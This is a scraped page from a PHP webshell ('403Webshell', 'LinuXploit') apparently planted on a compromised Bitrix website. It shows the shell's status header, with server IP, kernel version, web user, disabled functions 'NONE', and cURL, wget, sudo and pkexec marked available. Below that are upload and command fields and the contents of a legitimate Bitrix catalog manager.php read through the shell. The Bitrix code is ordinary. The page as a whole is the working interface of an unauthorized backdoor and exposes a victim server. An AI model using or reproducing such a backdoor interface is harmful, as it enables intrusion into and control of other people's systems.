403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/catalog/lib/store/enablewizard/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/catalog/lib/store/enablewizard/manager.php
<?php

namespace Bitrix\Catalog\Store\EnableWizard;

use Bitrix\Catalog\Config\State;
use Bitrix\Main\Application;
use Bitrix\Main\Config\Option;
use Bitrix\Main\Loader;
use Bitrix\Main\Result;
use Bitrix\Main\UI\Extension;

class Manager
{
	private const MODE_OPTION_NAME = 'store_control_mode';

	public static function getAvailableModes(): array
	{
		$result = [
			ModeList::B24,
		];

		if (in_array(Application::getInstance()->getLicense()->getRegion(), ['ru', 'by', 'kz'], true))
		{
			$result[] = ModeList::ONEC;
		}

		return $result;
	}

	public static function getCurrentMode(): ?string
	{
		if (!State::isEnabledInventoryManagement())
		{
			return null;
		}

		return self::getMode();
	}

	public static function isOnecMode(): bool
	{
		return self::getCurrentMode() === ModeList::ONEC;
	}

	public static function enable(string $mode, array $options = []): Result
	{
		$disableResult = self::disableCurrent();
		if (!$disableResult->isSuccess())
		{
			return $disableResult;
		}

		$enableResult = self::getEnabler($mode)->enable($options);
		if ($enableResult->isSuccess())
		{
			self::setMode($mode);

			if (Loader::includeModule('pull'))
			{
				\CPullWatch::AddToStack(
					'CATALOG_INVENTORY_MANAGEMENT_CHANGED',
					[
						'module_id' => 'crm',
						'command' => 'onCatalogInventoryManagementEnabled',
					],
				);
			}
		}

		return $enableResult;
	}

	public static function disable(): Result
	{
		$disableResult = self::disableCurrent();
		if ($disableResult->isSuccess())
		{
			self::resetMode();

			if (Loader::includeModule('pull'))
			{
				\CPullWatch::AddToStack(
					'CATALOG_INVENTORY_MANAGEMENT_CHANGED',
					[
						'module_id' => 'crm',
						'command' => 'onCatalogInventoryManagementDisabled',
					],
				);
			}
		}

		return $disableResult;
	}

	public static function showEnabledJsNotificationIfNeeded(): void
	{
		Extension::load(['catalog.store-enable-wizard']);
		?>
		<script>
			BX.ready(
				function()
				{
					BX.Catalog.Store.EnableWizardOpener.showEnabledNotificationIfNeeded();
				}
			);
		</script>
		<?php
	}

	private static function disableCurrent(): Result
	{
		$currentMode = self::getCurrentMode();
		if ($currentMode)
		{
			return self::getEnabler($currentMode)->disable();
		}

		return new Result();
	}

	private static function getEnabler(string $mode): Enabler
	{
		return match ($mode)
		{
			ModeList::B24 => new B24Enabler(),
			ModeList::ONEC => new OnecEnabler(),
		};
	}

	private static function setMode(string $mode): void
	{
		if (!ModeList::isValidMode($mode))
		{
			return;
		}

		Option::set('catalog', self::MODE_OPTION_NAME, $mode);
	}

	private static function resetMode(): void
	{
		Option::set('catalog', self::MODE_OPTION_NAME);
	}

	private static function getMode(): string
	{
		$mode = Option::get('catalog', self::MODE_OPTION_NAME);

		return ModeList::isValidMode($mode) ? $mode : ModeList::B24;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit